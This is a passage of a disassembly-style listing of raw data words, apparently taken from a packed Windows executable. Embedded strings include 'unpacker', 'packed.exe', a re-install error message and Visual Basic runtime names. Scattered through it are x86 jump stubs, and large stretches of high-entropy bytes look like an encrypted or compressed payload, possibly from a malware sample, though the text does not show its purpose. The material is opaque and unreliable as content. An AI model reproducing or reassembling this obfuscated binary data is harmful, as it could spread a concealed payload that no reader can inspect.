0B80A64E6h, 0AEB8B85Fh, 483538F5h, 1F9h dd 145ABE3Bh, 4E94EA6Eh, 84CA28A8h, 0C3095FDEh, 0FE449C1Dh dd 5BDCE2C0h, 9619BF05h, 0D052F83Eh, 0C8A3076h, 0A12D64AAh dd 0F87B965Dh, 0D2035421h, 0F63C9415h, 2E74D250h, 0B60C9D15h dd 569A1692h, 27E0328Dh, 0B581E34Dh, 21F21363h, 58AE2C12h dd 8BED4BCAh, 0FD69FC66h, 0DE0DEDF2h, 2FBB7C0Eh, 0C6EC649h dd 0F81B6CE8h, 0ED31AD5Ah, 0DE0DE1E6h, 0B1187AE4h, 0DDh dd 0F0D94F5h, 0E58E5051h, 9715A283h, 0D9A718Ah, 97E90B5Ch dd 1B75F604h, 783B96F7h, 979E0A5Fh, 5B56C235h, 0D227E0C8h dd 70ACF254h, 1EB1078Ah, 0FE7CEA4Ch, 1A8F15A8h, 1C9E84A8h dd 185C60C2h, 21F2C976h, 50365AC4h, 0EE073D1h, 416886ACh dd 0D513577Bh, 38D81A6Eh, 5DB587D7h, 43D16B44h, 0DC0163C5h dd 0E7684E72h, 0AE0F4B91h, 0B472441Ch, 2A820581h, 1173C597h dd 6DC622A3h, 0F5AD40A4h, 0FA443134h, 3C000000h, 7D2369BFh dd 0B75DA3F9h, 0F59BE137h, 32D81E76h, 0D31157B1h, 0E6AEBCFh dd 499F22C8h, 85DB5D03h, 0BD1B993Fh, 70B44077h, 21F87863h dd 15E51667h, 32183C94h, 0CDF355B3h, 0A04D3091h, 16590121h dd 6EC846B4h, 90E6644Ah, 50CC082Eh, 0E08EC70Ch, 37990327h dd 6F971556h, 0E032D82Bh, 66B82227h, 7182C642h, 7927E032h dd 2C3AAD0Fh, 0F41258AEh, 0A7EB0FB5h, 21F8086Eh, 0C5D366D0h dd 5ABF147h, 0C81B5F87h, 12DE07F4h, 57C356A8h, 9B724A4Fh dd 0E0DEA12Bh, 18BE0462h, 9BA93C9Ah, 0B298BC1Ch, 8BBD2031h dd 792EECF1h, 60C29427h, 55BDFEDh, 1411E972h, 2E3FA1EFh dd 36C91FA0h, 5416D9B3h, 0BAB07751h, 55B6DA3Ch, 9C261770h dd 113799F7h, 126EEFD5h, 9F1FAD7Fh, 0FB79E749h, 161D0A9Dh dd 31000000h, 5D6E81D0h, 9F016194h, 0BF037FBEh, 27E03234h dd 0F2EA4CB6h, 40981581h, 0C7219FADh, 4AA42634h dd 0CE26A9B7h, 54AC2D3Bh, 0D632B3C1h, 5EB63543h, 0E73DBDCBh dd 6CC24654h, 895722D9h, 4C781E7h, 81000000h, 4EFh, 243C8700h dd 240C895Ch, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68240489h dd 7ECh, 56243489h, 0E30BA68h, 24348B59h, 4C481h, 0EE810000h dd 52F5F43Fh, 815EF089h, 4ECh, 24248900h, 4240481h, 5E000000h dd 54C668h, 24048900h, 8B08468Fh, 89532434h, 4C381E3h dd 83000000h, 1C8704C3h, 34FF5C24h, 0C4835824h, 0FB24E904h dd 0C436FFFAh, 453E7D74h, 0E9F5FB1Ah, 0B810174Fh, 6184BF8h dd 0E0FFC503h, 549A63Bh, 8C37379h, 795AB6B2h, 116B131Ch dd 3FE31C11h, 6D8738F4h, 0F5D8E1Bh, 365C5EF4h, 0F5F40D5h dd 315528B0h, 2E748CC5h, 5F54A6CEh, 79E37596h, 78CE5D66h dd 3B2762C9h, 50CAA155h, 58427A62h, 6CCB607Fh, 6B473365h dd 134FD69Eh, 67785300h, 5ED24970h, 7A52B63Fh, 753DDC4Ah dd 5B46EC3Bh, 1909858Fh, 30FA68EEh, 52E3480Bh, 515A661Ch dd 16BA3538h, 6789D435h, 7E8h, 1C3AE000h, 16477719h, 12E95Bh dd 85920000h, 0FEEF888Fh, 23FC568Dh, 78D04613h, 0B6376160h dd 6C11C381h, 0E4800000h, 0BE75h, 0BF0F0000h, 333C8BC7h dd 10E9h, 0C2542800h, 9CDD2FA3h, 49069375h, 0F7E0D5E4h dd 88F78125h, 0B836870Fh, 42E896E9h, 0A170EF81h, 0C7814826h dd 78C0BE37h, 0FAE88166h, 35B25725h, 0E933048Fh, 0Ah, 4899957Eh dd 43643151h, 7E923C4h, 40000000h, 0E3A7E75Ch, 0EE83B51Bh dd 8B566003h, 0EFBB5FC7h, 615A87C7h, 0FE84Eh, 0B2E00000h dd 486B771Dh, 1FA41463h, 0BAD566AAh, 0B70F516Dh, 815859D6h dd 0FF94DCFEh, 1A850FFFh, 0E9000000h, 0Bh, 72F1DDC2h, 0BF5B6EFDh dd 0E910221Dh, 22h, 11B4108Ch, 94B866FCh, 0FF53E95Bh, 5041FFFFh dd 0D9F3C37Ah, 0D4C335A7h, 15D5E389h, 0C57E557Dh, 7FE9550Ch dd 0B000001h, 0DD65B2A3h, 437C8360h, 5F6D5C3Ah, 61706E75h dd 72656B63h, 63617000h, 2E64656Bh, 657865h, 3Ah dup(0) dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h dd 654Eh, 8 dup(0) dd 62E90000h, 6800001Ch, 61851B5h, 0FA3168E9h, 528668FFh dd 5EE90618h, 68FFFA31h, 6185379h, 0FA3154E9h, 541668FFh dd 4AE90618h, 68FFFA31h, 6185455h, 0FA3140E9h, 551568FFh dd 36E90618h, 68FFFA31h, 618556Bh, 0FA312CE9h, 55BC68FFh dd 22E90618h, 68FFFA31h, 6185DA9h, 0FA3118E9h, 5E2068FFh dd 0EE90618h, 68FFFA31h, 6185EF1h, 0FA3104E9h, 5FCF68FFh dd 0FAE90618h, 68FFFA30h, 618604Ch, 0FA30F0E9h, 612A68FFh dd 0E6E90618h, 68FFFA30h, 61861DCh, 0FA30DCE9h, 62D068FFh dd 0D2E90618h, 68FFFA30h, 61868B9h, 0FA30C8E9h, 69B268FFh dd 0BEE90618h, 68FFFA30h, 6186A6Fh, 0FA30B4E9h, 0A56A27FFh dd 42CDBF58h, 0E12E5CF5h, 7B94FB94h, 17F8952Eh, 13DBDACAh dd 0AF48957Ah, 4DE633DCh, 0E67FCC43h, 401A67A8h, 0AF9EE9F1h dd 0DD4DF7h, 0BDCAD2E9h, 0BE4DF7AFh, 14F220B3h, 5F92F5FDh dd 0E6F147DFh, 0CD4C4253h, 22E14CC3h, 0C1EA2569h, 0ED2735CFh dd 4F34C7AEh, 0BA070886h, 0AE6D545Dh, 0F1E1E8A6h, 5F949F49h dd 0F1DA4447h, 4E93AF4Dh, 0AE985F37h, 208C24h, 0AEDE0000h dd 0F901C0A5h, 49F17ECDh, 0E0F82D38h, 4DF180ABh, 0DEB52C48h dd 24AEDFE6h, 12133h, 5B148500h, 14281F32h, 730441CEh dd 2A647508h, 9FE8991h, 4E5647E0h, 47E00A39h, 9CA73F4Ah dd 5A33FC31h, 0D7B780B5h, 543A0338h, 0FB7BFCBBh, 0B131FB65h dd 0AFEAAC5h, 8E0926E1h, 0E916FEFBh, 0B347E00Ah, 4245B432h dd 790CD0A8h, 9CE92668h, 4F848B03h, 0DCCB9C2h, 0C8513DF6h dd 42154AC5h, 6ECFA2D7h, 0FF5FF21Dh, 49F1D7DBh, 4C546BCAh dd 4DF1DC3Bh, 0FA8D3D48h, 894DF1DBh, 0DB65222Ah, 0B164DF1h dd 0C14E3FA0h, 14EB98Ch, 0F7B69BA4h, 0C5203176h, 8316BD9Eh dd 4944FD14h, 2BBE91C6h, 466BBCBh, 0A3EAA350h, 0D164376Ch dd 6BF7E89h, 20C8CA87h, 0D51A72Eh, 0C4CCE3A2h, 47E657C3h dd 2522B5C0h, 8F0E018Ch, 0EDBE5CA1h, 0A125EC91h, 0BD000019h dd 55EE3BD4h, 0F28BD837h, 912A7798h, 2BC411FEh, 7060AD62h dd 2BE4A945h, 0C94645DEh, 62ADE37Ch, 0FD127C15h, 7F87D6B0h dd 4DF7B108h, 72C89E7Bh, 838CFE1Bh, 0B4BC7B4Eh, 47DF5FD3h dd 7B3AA5B0h, 91AC65FAh, 26B9ACFBh, 11FE9029h, 0A5AE0EC4h dd 0CDF901C0h, 1149F17Eh, 46D93658h, 0A6BEF3FEh, 4DF180E5h dd 98EFF20Eh, 24AEDF38h, 0A2EDh, 1C723F00h, 137B34F3h dd 61F4C7FCh, 35DAB37Ch, 5C17E800h, 335B47DFh, 98F68FDCh dd 0ACB54277h, 0DCFE06C5h, 0CB49F164h, 0D1673C0h, 99526928h dd 22F31CF3h, 3659D4B5h, 2B68C85Bh, 185004DFh, 0F8954E0Dh dd 0D3CCBBC3h, 0A4AF47E5h, 59C44B43h, 0F51A730Ch, 0BED0F276h dd 14DB80EDh, 18D0h, 1D6AA5ECh, 0BA070884h, 59A66921h dd 0F340CFC0h, 8FDC335Ah, 0B5D8169Fh, 17740D5Ah, 7E12ABF8h dd 0E3AB4491h, 0B605DF2Ch, 0F7B1D9AEh, 0F7CDAA4Dh, 92F5FD14h dd 0F147DF5Fh, 4B4253E6h, 0B0DE77C4h, 725C125Fh, 7B34F31Ch dd 8469FC13h, 0E0E8D3BBh, 47DF5FA7h, 588D820Bh, 77E2ED85h dd 0DDC4CD2Ah, 78BC161Eh, 202B49F1h, 0A5ADC4EBh, 4DF182E2h dd 0A30396A1h, 4DF182E8h, 9BF2EF0Bh, 24AEC13Bh, 0BEF0h dd 43480100h, 31C497CCh, 2F5B1403h, 45D8ABE0h, 141DE65Dh dd 0E8666E2Dh, 1F49F175h, 1D45514h, 7740F543h, 0E0E174h dd 818A247Dh, 6E2D141Dh, 7A492866h, 1F545F1Ch, 0AED9E1F8h dd 0CD1C79EAh, 0AB0A99C2h, 0E447D0ECh, 8E737C51h, 0C84EC7CFh dd 2A351E8Dh, 33DCB26Bh, 29982BFEh, 0A4F11E70h, 0D8C830Bh dd 3F37C84Fh, 0DD773EE3h, 0F9000017h, 912A7798h, 2EC714FBh dd 0CD66B35Ch, 67004DC2h, 0AC9CE926h, 67A8E509h, 50A811Ah dd 9E711FB8h, 39D6B851h, 0BBC312ECh, 4DF7B2CCh, 72FCD2AFh dd 31BEF31Ch, 0C7484328h, 9554BF92h, 0F179458Dh, 0E6A5B049h dd 78AD622Dh, 0C44B44A5h, 9B7E3431h, 0DFC6CFA8h, 75361820h dd 465149F1h, 658415F5h, 0CDD6CEF8h, 6D2129E8h, 18CB2C7Dh dd 319C7317h, 741CD5FCh, 0F52AE5A5h, 0AF82B722h, 573E471Ch dd 0B8859098h, 6772D11Bh, 709FEFA8h, 0B048A23h, 85F8C48Ch dd 2C96E6Ch, 1740h, 8DDA355Ch, 2A7798F4h, 0C916F991h, 63B05F30h dd 0FF4CC3CAh, 4548A60Fh, 0A7E47DCAh, 0E821B68h, 731BB401h dd 26754F9Ch, 0F7B3691Eh, 673D1A4Dh, 74F31C72h, 0EDB8A4D2h dd 134FBA0h, 1D000017h, 0B54E9B74h, 52EB38D7h, 0F18AD738h dd 8B24719Eh, 0D0C00D02h, 8B8409E5h, 29E6A53Eh, 0C24D43DCh dd 5DB2DC75h, 0DFE73610h, 4DF7B3A8h, 7228FEDBh, 31BEF31Ch dd 727A3928h, 49F1736Ch, 9303505Bh, 0C2AFB8C1h, 9253FB03h dd 0D28B5003h, 79C154BBh, 0C03D1D6Eh, 5AA3661Fh, 8EA56451h dd 6B798B0Dh, 0E2430571h, 5F3267A8h, 3B226CCCh, 0BD3EE69Ah dd 9199DAC7h, 0E299E0F6h, 0C4517A85h, 0FD8FF015h, 770ADD12h dd 62EF242Fh, 112EAE59h, 0F88A5C8h, 642CE5A4h, 17C582ABh dd 40ED7431h, 0DF363EADh, 0C4E4AD6Dh, 4D41FAB9h, 3858C1CCh dd 0B4016CD7h, 1D9C731Bh, 7117B261h, 41854CF1h, 5D000016h dd 0F58EDB34h, 922B7897h, 31CA17F8h, 0CB64B15Eh, 10004DC2h dd 0CB4449A5h, 69A6E57Eh, 20D831Ch, 9D721CB5h, 1F277650h dd 4DF7B468h, 23683E1Bh, 47DF5F64h, 0DF6F8CFFh, 7FACDF47h dd 0CCBF47DFh, 0EE47DF5Fh, 0FA1579A0h, 0A462108Fh, 2BD0EDB8h dd 15EB64h, 858A0700h, 22ED9F38h, 0C14E3CD5h, 5BB4DB74h dd 0F718750Eh, 0F3FBBAAAh, 8F28759Ah, 2DC613FCh, 0C65FAC63h dd 20FA47C8h, 0B4BEC9D1h, 0E0BD4DF7h, 0C0A5AE0Ah, 8F6DF901h dd 5A7149F1h, 0F18F3552h, 0A83B464Dh, 0D6D65560h, 1CEBAA8Ah dd 159AB077h, 0DBB60000h, 3E4EE734h, 9FEB84D1h, 58A2370h dd 6924BD0Ah, 4C6959A6h, 0D724EBA2h, 75C24D3Eh, 0E5BB4DCh dd 0A9F61975h, 0F7880CFh, 6C4DF7B5h, 1C72B98Fh, 3407C235h dd 7BE6C9CEh, 888703BCh, 30E910F5h, 0AB7EB35Ch, 99CE414Ah dd 6C2233C6h, 0F4836EA3h, 29BC533Bh, 748B04DDh, 0DFD01B6Ch dd 4E394147h, 2D47DFCFh, 567F8A22h, 36764780h, 7EEB7EB5h dd 22BCB906h, 30D3h, 68232500h, 0F447DF5Fh, 5FB2D5DDh dd 0A2AA47DFh, 47DF5FE5h, 0E8F38B96h, 0C54A4455h, 0D03F4D06h dd 3835C89Bh, 0B8DBBC50h, 0E0A7DC47h, 14F0h, 0F31C724Ah dd 392831BEh, 0E5AA637Ah, 5E2CF52Ah, 3EA97CB1h, 0CF62ADDDh dd 0F171136Fh, 0CA172249h, 0D3B4BCD3h, 0B04DF179h, 343D12A5h dd 0E0868E4Dh, 0E750038Eh, 3065AAE6h, 6B860109h, 0EAF547DFh dd 0B8DF147Fh, 8FC190FFh, 110367C5h, 0A2B346B1h, 0F2DA27E8h dd 47E0169Ch, 0E6A56A22h, 1FB25D2Dh, 0C038922h, 917E0ED7h dd 55D67D5Ch, 6B255E99h, 739C6FA4h, 0ABE37FDBh, 0F15C2F64h dd 14CF125Eh, 26E9A178h, 0F4B31EF1h, 85BA553Bh, 2D221FB2h dd 22BCD855h, 29C82h, 0A5AED400h, 2DF901C0h, 3149F18Dh dd 0F5BB6BB0h, 0F1C19AEDh, 0B5DEE94Dh, 6823919Bh, 61A93CA7h dd 0F6169756h, 8BFF0010h, 743D22B5h, 0B3AAF718h, 91F3949Ch dd 85904DF1h, 64ABE1F2h, 8987082Fh, 26BD6D5Fh, 870464F7h dd 0FF4DF23Ch, 0D1BB26BBh, 8B94F13Eh, 0CFDFE7A6h, 0F6500456h dd 18732CEBh, 587F64F7h, 0D6F320D7h, 0BE510163h, 0D3DBE0ADh dd 47E007B4h, 46FCFEC7h, 0DC45D8FAh, 0C2B90671h, 598E8109h dd 205A5D86h dd 0FD67B79Ch, 0DB34596Ah, 0E32C631Ch, 107ADBAEh, 6F876CFFh dd 47DF6E1Eh, 32BD2468h, 74F5B45Bh, 6442E7B4h, 9CEF5051h dd 86E3E073h, 58D9987Dh, 0EA284BCEh, 82EF0C48h, 0BE3A9CC5h dd 7078E77Ah, 49F1D666h, 4F848851h, 0AA6F0A72h, 4D410A3Fh dd 0B2DC75C2h, 0A7E59E5Dh, 0CD603368h, 74B7D0E8h, 83C74DF1h dd 0E0B835Eh, 8A5D927Dh, 0E6A7601Fh, 0A2999629h, 7504838Bh dd 76774DF1h, 0F0C3F817h, 0ABE1F285h, 26662F64h, 51D5B4E9h dd 0D8375590h, 0AFDB948Bh, 7483040Ch, 0F5004DF1h, 0EF82558Ah dd 0AEEB0282h, 0D4D724h, 72290000h, 7D92FE1Bh, 0D50A7548h dd 598E810Ch, 0EBF67Ah, 3E35828Dh, 0D1BB1BDh, 86598E81h dd 95801F5Dh, 9386636Ch, 8417A69Dh, 0BCAFBF17h, 4646FF22h dd 60C194C9h, 4A4CDF30h, 96h, 4B3C445Bh, 3847DFB4h, 4DC2CC2Dh dd 84B24518h, 34F31C72h, 0CAFF107Bh, 0B67F64F7h, 230237D8h dd 0E7A7429Fh, 0EEE6DB28h, 3B22BCE2h, 66h, 14FB934Ch, 0A5AE5381h dd 484801C0h, 5EBF92C7h, 0DB4ADD32h, 0F17203D3h, 28E7F249h dd 797E0911h, 0F2FD4DF1h, 0F05206C9h, 8A1D0397h, 9FE8DA5h dd 0CFBC4DF2h, 4D420B40h, 0E02F61C2h, 0E00115ABh, 7D94D3FBh dd 1348C7C4h, 9F79040h, 555D4DF2h, 4DF20A32h, 0A3AE4651h dd 761DC410h, 24AE481Eh, 98CBh, 0A5AE1D00h, 29F901C0h dd 0ED49F177h, 78B9CED6h, 0BFCA4DF1h, 0A4D9E42Ch, 115EB1DBh dd 3CFB1478h, 0A4050A83h, 1DF025EAh, 0B0DCA58Ah, 0C74B2A5Fh dd 52BDCF1Ah, 0E7B01005h, 546524AEh, 0B7000000h, 0FAB9A2AEh dd 1EB762E3h, 0C5A2313Fh, 5A839031h, 2ABD51F7h, 0E0579DCAh dd 5E939EC7h, 0DE664546h, 37AA96C7h, 38F7DCE8h, 0DE653730h dd 0EE7B4447h, 1D6A726Fh, 5E47DF76h, 6DF32A53h, 120956C1h dd 0C19F3591h, 57B8BBFCh, 0CEA1D639h, 72C3Bh, 74960000h dd 47h, 0F71872DEh, 7C93F9C2h, 5BF6962Fh, 73728C84h, 17D64149h dd 80717696h, 7B0EE9A6h, 16FB0996h, 0EFC3C9E1h, 0A2ED47DFh dd 0ADB849AFh, 0C12C5F88h, 44CBC38Ch, 13CE120Fh, 578AA6CEh dd 43F85030h, 0C2B85DDh, 14D70000h, 5F92F5FDh, 0E6F147DFh dd 37707E53h, 0DF5F582Fh, 0C4CC2B47h, 47DF5FC3h, 0DF4AB5C0h dd 8C7E92AAh, 0E4A8CE68h, 632DF62Bh, 0FEB277ACh, 0BAD6FEE3h dd 0D6606027h, 3148AB17h, 8A9B5E29h, 5BE68CD1h, 0FE6DB610h dd 96FA5B66h, 2AE4E679h, 36000000h, 0FCBBA0AEh, 0DF5F93F4h dd 0B0E5F047h, 53239198h, 5F829EAEh, 0CF33A828h, 0F1F9108Bh dd 0F1533896h, 4547DAE5h, 271h, 0C5A0AE97h, 3F1247C8h dd 305C15D4h, 376CA3E9h, 3866F964h, 1C72361Ch, 5B1475F3h dd 0D4A7DC33h, 16924041h, 25BCEACEh, 525Bh, 0A0AEAD00h dd 0C143DBBh, 47DF5F82h, 9EEDA605h, 0B9693C71h, 47DF5FCEh dd 60097E86h, 6F7A47DFh, 0E361CCD7h, 18723E14h, 35179F7h dd 92F5FD14h, 0F147DF5Fh, 5FFD8A92h, 737E47DFh, 67667508h dd 8F000000h, 60177078h, 596447DFh, 487D92F8h, 14B4E275h dd 49DC335Bh, 14C36674h, 32D5E294h, 14F674DFh, 8BF7CFDh dd 0CDDCE737h, 0E2B4DA3Ah, 564147DFh, 62ADDE97h, 4E838C01h dd 14BAE87Bh, 58D29E93h, 6E0127B3h, 3B67E8FFh, 4F40BBB5h dd 14B3E174h, 5F92F5FDh, 0E6F147DFh, 0C7484253h, 315B1449h dd 43D6A9DEh, 5B23C311h, 2335C7B6h, 58EB246Ah, 0BAD34647h dd 49DEA55h, 5CE858Ah, 3BD08788h, 5F2FBA27h, 0C0CE5FB0h dd 5A71984Fh, 0E7B83552h, 0A83B4659h, 270643C0h, 0BBF01F6Eh dd 0D80955E8h, 3D8E810Dh, 762DE2ACh, 0A4EAE0ADh, 0E359E7B7h dd 788C21D8h, 0FF107E69h, 9F701DAEh, 2758CA6Ah, 3CBDC61Bh dd 7B6FDF87h, 42D37BC0h, 20919423h, 99EEF6B5h, 0EA59E797h dd 523B4CDFh, 1449C6C7h, 0F089D641h, 0F1BA719Eh, 97602E9Ch dd 1C2759E7h, 6CED7C65h, 35B97E3Dh, 0B8C07F15h, 59E81ACFh dd 0C20EA1ACh, 45CAC41Fh, 94BDCD86h, 0DFC6E030h, 356AD51Bh dd 808F0162h, 44FDECEDh, 0BC8FC44Bh, 99761829h, 98C442E2h dd 0CCC22DB4h, 2D61F243h, 2B622BE2h, 3D729DEEh, 0B348FF6Ah dd 0E7A7429Fh, 7229D728h, 1D34F31Ch, 0CDA6299Ch, 0F6A6C10Eh dd 47DFC691h, 2654E7F2h, 0A2AE361Ch, 4D41FAB9h, 27BA8DC2h dd 16D482F9h, 25BCEACEh, 455Bh, 0A2AEAD00h, 7279FAB9h dd 49158498h, 14DE0C9Fh, 0DF5F820Ch, 3BFA0547h, 0A2030C82h dd 1AED22EDh, 3E145987h, 99A11A72h, 47DF5FEEh, 9917828Dh dd 8609C251h, 0EE815489h, 3E74C0h, 0E49D0000h, 5D3065AAh dd 0A2AE9CCAh, 0FD143BB9h, 5FA9DEE6h, 0CFDA47DFh, 5FB2DC3Ch dd 2DAE47DFh, 97A58F51h, 50DF5FF3h, 0A2B2ACD5h, 0AA956F02h dd 723E142Ch, 7D36F51Ah, 0FACD020Dh, 3513967h, 0DF6EBD23h dd 1D9E5D47h, 42F07D06h, 0D0DF7210h, 0FFFFFD17h, 5F68233Ah dd 808E47DFh, 0DC5BDC9Bh, 2B41A08h, 0D7706D00h, 0BA4A9EB3h dd 0CFC5EFACh, 7EE954BBh, 0CB563149h, 917D47DFh, 1AF59550h dd 4B3C445Bh, 3847DFCBh, 21666E2Dh, 6247DFCCh, 2EC7C457h dd 764B15Eh, 6BE254FBh, 7211767Eh, 677247DFh, 576E5D3Eh dd 639FB7ECh, 0C205B5BEh, 7C543BA6h, 0A960EAA4h, 221h dd 5F6B23FBh, 848D47DFh, 8CD6DE9Dh, 5449F16Ah, 0EA1FF09Bh dd 313C8417h, 0D03F4BE4h, 55BAD29Bh, 0DAEDD96h, 0F1738205h dd 8BF6014Dh, 6BEC13F8h, 0F261D995h, 1E2FC25Fh, 29E2A16Eh dd 0A477AC63h, 33C64943h, 0C9B8C14Eh, 9CEBF30Ah, 0DF4DF165h dd 2E63ACDEh, 0EE5DF05Bh, 9F701ED7h, 8E86AC0Ch, 68315003h dd 1649C0ADh, 0B4339E5Fh, 0EDB8A0FAh, 0AD8C53F8h, 0C900000Dh dd 61FA47C8h, 0FE97E42Bh, 9D36838Ch, 37D01DF2h, 7C6CB956h dd 37D8B539h, 0D53A51EAh, 6EA1EF88h, 9068821h, 8B93E2BCh dd 4DF7BCFCh, 72CCA27Fh, 31BEF31Ch, 727A3928h, 49F7AD8Dh dd 1BD4939Eh, 0BA53A06Fh, 0D34649D0h, 0B6EB56B9h, 7A4378E3h dd 833CFB14h, 8D72050Ah, 4B0AF700h, 0DD12FD92h, 8770Ah dd 5009D122h, 3F83020Dh, 53EDB2C0h, 0D36E7AEh, 3F520000h dd 0A2EA83D0h, 387206Dh, 6926BF0Ch, 0CDC059A6h, 0B005F542h dd 73C04F3Eh, 115EB1DAh, 0AAF71878h, 45927D11h, 73141C6Bh dd 104DF7BDh, 1C725D33h, 2831BEF3h, 0E2637A39h, 0A84BAEABh dd 2B5C0CA3h, 5847DFAAh, 6DA2EC4Dh, 63D26538h, 0F1DA035Bh dd 9CA4BB49h, 4DF1C4EBh, 0B2FA8D98h, 0CDC15AA7h, 4C028342h dd 70DCAA48h, 0EB4845D8h, 2C34F3E2h, 5009C3C8h, 7831F0FBh dd 0ED2D3F12h, 0DAB3DAC9h, 0C6FB1479h, 10C988F3h, 8B5E937Ch dd 76AB642Ah, 7A1310A3h, 0BF40FF10h, 0D22B5DCBh, 6A4FE21Eh dd 0ED22EDA1h, 0AB6A5760h, 24FB8C94h, 7D8847EAh, 0AF737BEAh dd 7E49FC47h, 59CA9DB5h, 667E04Dh, 9C1B8689h, 0EBA0222Eh dd 65B87F24h, 8100000Ch, 19B2FF10h, 0B64F9C73h, 55EE3BD4h dd 0EF88D53Ah, 3424719Eh, 0EF206D81h, 8D8209A2h, 26E9A740h dd 0C14E40D9h, 434B9A74h, 4DF7BD44h, 72845A37h, 7B34F31Ch dd 1CAFF10h, 8316818Eh, 1908119Eh, 6480525Ah, 646F49F1h dd 10E7E17h, 8704BDB4h, 0A6E4F588h, 8B93AA69h, 4DF16BFCh dd 0E4E1747Fh, 305B142Eh, 6E774CDFh, 62C0C887h, 4D49F17Fh dd 96F50D42h, 5D4DF180h, 0E827651Eh, 14DE0B3h, 0DF29A9E0h dd 0A5FE24AEh, 50000000h, 0C0F51A72h, 457A95F7h dd 0C7FC137Ch, 252D8EFEh, 47DF5F62h, 5EAB1621h, 3DDCAE67h dd 0B689BE51h, 0B043164Bh, 24E3D2DBh, 0BAEF206Bh, 0DDE554E7h dd 49F174A5h, 0F1995269h, 6616E91Eh, 4DF17621h, 7CC45762h dd 0B392F271h, 3BE0EBAAh, 0B8774h, 21EEA300h, 0BE513BD4h dd 5DB2D871h, 0F7187710h, 937C11AAh, 8F5F5646h, 2BC411FEh dd 0C962AF60h, 62FB48C7h, 0BC96E32Ch, 0BF22656Dh, 84614DF7h dd 729314AEh, 0A1E6EE3Eh, 0E247E044h, 2F47AED7h, 0E1A6AE6Dh dd 0A247E034h, 99F30497h, 5B922976h, 0FC000000h, 0DC335B14h dd 0F7880A7h, 6C47DF60h, 5263F661h, 13A0D53Ah, 545C1B0Ah dd 49F188DEh, 593FBEC9h, 0B9EBAA8Dh, 0B0A4D14h, 6B260000h dd 0CEBE57A4h, 2F5BF441h, 95FA93E0h, 0F9942D7Ah, 0DCD9C916h dd 47947B12h, 0E532DDAEh, 7ECB444Ch, 1966A9E5h, 9FE8F03Fh dd 0DC4DF7BFh, 1C7229FFh, 99F5BEF3h, 0B0BB46B8h, 6FD044E4h dd 0E7BAEF20h, 0F05C477Ch, 93A9AF1h, 0A7EF22BCh, 41000002h dd 6C25D89Bh, 0E4B7EC23h, 8E737C51h, 977816CFh, 0C57E9504h dd 6D1C45CAh, 93A68902h, 331B7B0Eh, 5249F1AFh, 0AC078847h dd 0A024AEAh, 2F1E1FB2h, 0C2F71876h, 2CFC5CEFh, 305A89B8h dd 0C3F81777h, 7F885DF0h, 43CBD392h, 1B3F7671h, 4FE22D62h dd 3AC7FC07h, 7D854431h, 3D89F598h, 0F7E7Fh, 0CE8DF8CBh dd 49967915h, 0B823B52h, 4CFCCF04h, 3D61F93Bh, 6B030C7Fh dd 828DFF60h, 5FB0DEEFh, 3A3CF4E0h, 0F2B95E18h, 0A2Ch dd 79C64948h, 1663ACE0h, 0B5020D7Dh, 4F9C731Ch, 0EB38D7B6h dd 5934BAFBh, 0BBD069B6h, 226E0754h, 8707A0EDh, 12613B88h dd 0F7C07D0Ah, 4B21FE4Dh, 0C0F51A72h, 0D7A8299h, 6E47DF60h dd 87F21D6Dh, 5FC7C0C8h, 0A9B447DFh, 49384116h, 0AD38828Ah dd 5C6749F7h, 69A6E49Dh, 0DDAE67D6h, 3F4CE532h, 0AF13747Ch dd 65704DF7h, 2F38C5FAh, 476F284h, 2D98541Ch, 614C666Eh dd 707B500Ah, 8693F8B1h, 1D40906h, 524D3A42h, 232E47EAh dd 0B9D26BB8h, 9A105C98h, 51BC95F8h, 0D6DEF51Ch, 47E99BB1h dd 2334C7D2h, 0CF25A46Bh, 83EDB299h, 97A17DEh, 0FB960000h dd 5E2EC714h, 0BFCB64B1h, 256A0350h, 89049DEAh, 6C493986h dd 0B7040B82h, 55A26D1Eh, 0EE3BD4BCh, 89D63955h, 2F5860AFh dd 4C4DF7C1h, 9314996Fh, 98A030C0h, 47E036EFh, 6858818Ch dd 0C5308EA7h, 78B43CC6h, 41464E0Dh, 4247DFBAh, 0B1A8A437h dd 0B9F5929Ah, 278647DFh, 0DFB9681Fh, 0A5101B47h, 0BA0DB212h dd 0AF647DFh, 96F5AED7h, 99040B83h, 1AF59B64h, 14A712E5h dd 0CBBAC310h, 0C0AE040Ch, 0DBF249F1h, 0B2CBBCC4h, 0ADB84DF1h dd 0F1B28AFDh, 0AF60304Dh, 40FA77Ah, 5F1E2971h, 0DE2BE4A6h dd 25CB7881h, 7773D140h, 0A7EF0D83h, 0BDD7F77Eh, 0F08B9352h dd 0AC500482h, 413CB52Bh, 5D2D8891h, 3FAA7DB2h, 2B6364ACh dd 1BA79E4h, 52FF8C8Dh, 3FDF3517h, 0D50A75ADh, 4C3B4302h dd 2F47E5B2h, 0D36CB924h, 85D554BBh, 2DEDBEF6h, 886C188h dd 0EFA20000h, 523AD320h, 0B3D770BDh, 19760F5Ch, 7D10A9F6h dd 60554592h, 0C310FF8Eh, 61AE612Ah, 0FA47C8C8h, 95E22D61h dd 23646CBBh, 604DF7C2h, 6823AD83h, 5247DF5Fh, 8F86D33Ch dd 60177078h, 596447DFh, 5FF5929Ah, 7B8647DFh, 1B0A13E8h dd 0AEAC545Ch, 8C9749F1h, 997614CDh, 8FFE9164h, 4ACFBF78h dd 0CD60CB44h, 0EE3BD4BCh, 9FD43B55h, 813D8h, 0A5AE4200h dd 74BE02h, 774A7F90h, 0AB00134Eh, 55C02BE4h, 0CAC67F96h dd 1052B245h, 0DF49F211h, 120F7880h, 616C4DF2h, 199AC1F6h dd 3EE8060Eh, 0AFB77675h, 4DF17AD8h, 0AD0DA0ABh, 4DF17ADEh dd 6E1DD615h, 1FC20EA1h, 0AEE56868h, 0DEBD24h, 720F0000h dd 7B94FB1Eh, 93D05110h, 6B163CCh, 0C28B7003h, 481146C9h dd 0CB94C946h, 0D28B4AC5h, 0C2BF52BDh, 73A86729h, 13FC934Ch dd 0B2A3AB80h, 0CE4EBF3h, 0ED747E0h, 5CB2E844h, 0B8ED5862h dd 0D4BD2410h, 679C731Bh, 0A0F00194h, 95F7B06Fh, 51EAE77Ah dd 839BD03Fh, 47DF6810h, 0FC934C5Bh, 0AD348013h, 